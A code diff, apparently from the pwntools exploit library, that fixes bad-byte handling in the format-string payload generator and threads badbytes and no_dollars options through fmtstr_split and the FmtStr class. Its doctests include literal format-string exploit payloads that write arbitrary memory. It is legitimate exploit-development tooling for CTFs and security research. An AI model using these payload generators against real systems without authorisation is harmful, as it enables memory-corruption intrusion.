@@ -304,14 +304,15 @@ def make_atoms_simple(address, data, badbytes=frozenset()):
304304
305305 i = 0
306306 out = []
307+ end = address + len (data )
307308 while i < len (data ):
308309 candidate = AtomWrite (address + i , 1 , data [i ])
309- while i + candidate .size < len ( data ) and any (x in badbytes for x in pack (candidate .end )):
310+ while candidate .end < end and any (x in badbytes for x in pack (candidate .end )):
310311 candidate = candidate .union (AtomWrite (candidate .end , 1 , data [i + candidate .size ]))
311312
312313 sz = min ([s for s in SPECIFIER if s >= candidate .size ] + [float ("inf" )])
313- if i + sz > len ( data ) :
314- raise RuntimeError ("impossible to avoid badbytes starting after offset %d (address %x)" % (i , i + address ))
314+ if candidate . start + sz > end :
315+ raise RuntimeError ("impossible to avoid badbytes starting after offset %d (address %# x)" % (i , i + address ))
315316 i += candidate .size
316317 candidate = candidate .union (AtomWrite (candidate .end , sz - candidate .size , 0 , 0 ))
317318 out .append (candidate )
@@ -498,7 +499,7 @@ def merge_atoms_overlapping(atoms, sz, szmax, numbwritten, overflows):
498499 # the best write is the one which sets the largest number of target
499500 # bytes correctly
500501 candidate = AtomWrite (atom .start , 0 , 0 )
501- best = (0 , None )
502+ best = (atom . size , idx , atom )
502503 for nextidx , nextatom in enumerate (atoms [idx :], idx ):
503504 # if there is no atom immediately following the current candidate
504505 # that we haven't written yet, stop
@@ -527,6 +528,8 @@ def merge_atoms_overlapping(atoms, sz, szmax, numbwritten, overflows):
527528
528529 _ , nextidx , best_candidate = best
529530 numbwritten_here += best_candidate .compute_padding (numbwritten_here )
531+ if numbwritten_here > maxwritten :
532+ maxwritten = numbwritten_here
530533 offset = 0
531534
532535 # for all atoms that we merged, check if all bytes are written already to update `done``
@@ -799,7 +802,7 @@ def make_atoms(writes, sz, szmax, numbwritten, overflows, strategy, badbytes):
799802 all_atoms += atoms
800803 return all_atoms
801804
802- def fmtstr_split (offset , writes , numbwritten = 0 , write_size = 'byte' , write_size_max = 'long' , overflows = 16 , strategy = "small" , badbytes = frozenset ()):
805+ def fmtstr_split (offset , writes , numbwritten = 0 , write_size = 'byte' , write_size_max = 'long' , overflows = 16 , strategy = "small" , badbytes = frozenset (), no_dollars = False ):
803806 """
804807 Build a format string like fmtstr_payload but return the string and data separately.
805808 """
@@ -813,7 +816,7 @@ def fmtstr_split(offset, writes, numbwritten=0, write_size='byte', write_size_ma
813816 szmax = WRITE_SIZE [write_size_max ]
814817 atoms = make_atoms (writes , sz , szmax , numbwritten , overflows , strategy , badbytes )
815818
816- return make_payload_dollar (offset , atoms , numbwritten )
819+ return make_payload_dollar (offset , atoms , numbwritten , no_dollars = no_dollars )
817820
818821def fmtstr_payload (offset , writes , numbwritten = 0 , write_size = 'byte' , write_size_max = 'long' , overflows = 16 , strategy = "small" , badbytes = frozenset (), offset_bytes = 0 , no_dollars = False ):
819822 r"""fmtstr_payload(offset, writes, numbwritten=0, write_size='byte') -> str
@@ -844,6 +847,8 @@ def fmtstr_payload(offset, writes, numbwritten=0, write_size='byte', write_size_
844847 b'%47806c%5$lln%22649c%6$hnaaaabaa\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00'
845848 >>> fmtstr_payload(1, {0x0: 0x1337babe}, write_size='byte')
846849 b'%190c%7$lln%85c%8$hhn%36c%9$hhn%131c%10$hhnaaaab\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00'
850+ >>> fmtstr_payload(6, {0x8: 0x55d15d2004a0}, badbytes=b'\n')
851+ b'%1184c%14$lln%49c%15$hhn%6963c%16$hn%81c%17$hhn%8c%18$hhnaaaabaa\x08\x00\x00\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x00\x00\x00\x00\t\x00\x00\x00\x00\x00\x00\x00\r\x00\x00\x00\x00\x00\x00\x00\x0b\x00\x00\x00\x00\x00\x00\x00'
847852 >>> context.clear(arch = 'i386')
848853 >>> fmtstr_payload(1, {0x0: 0x1337babe}, write_size='int')
849854 b'%322419390c%5$na\x00\x00\x00\x00'
@@ -900,11 +905,12 @@ class FmtStr(object):
900905
901906 """
902907
903- def __init__ (self , execute_fmt , offset = None , padlen = 0 , numbwritten = 0 ):
908+ def __init__ (self , execute_fmt , offset = None , padlen = 0 , numbwritten = 0 , badbytes = frozenset () ):
904909 self .execute_fmt = execute_fmt
905910 self .offset = offset
906911 self .padlen = padlen
907912 self .numbwritten = numbwritten
913+ self .badbytes = badbytes
908914
909915 if self .offset is None :
910916 self .offset , self .padlen = self .find_offset ()
@@ -968,7 +974,7 @@ def execute_writes(self):
968974
969975 """
970976 fmtstr = randoms (self .padlen ).encode ()
971- fmtstr += fmtstr_payload (self .offset , self .writes , numbwritten = self .padlen + self .numbwritten , write_size = 'byte' )
977+ fmtstr += fmtstr_payload (self .offset , self .writes , numbwritten = self .padlen + self .numbwritten , badbytes = self . badbytes , write_size = 'byte' )
972978 self .execute_fmt (fmtstr )
973979 self .writes = {}
974980
0 commit comments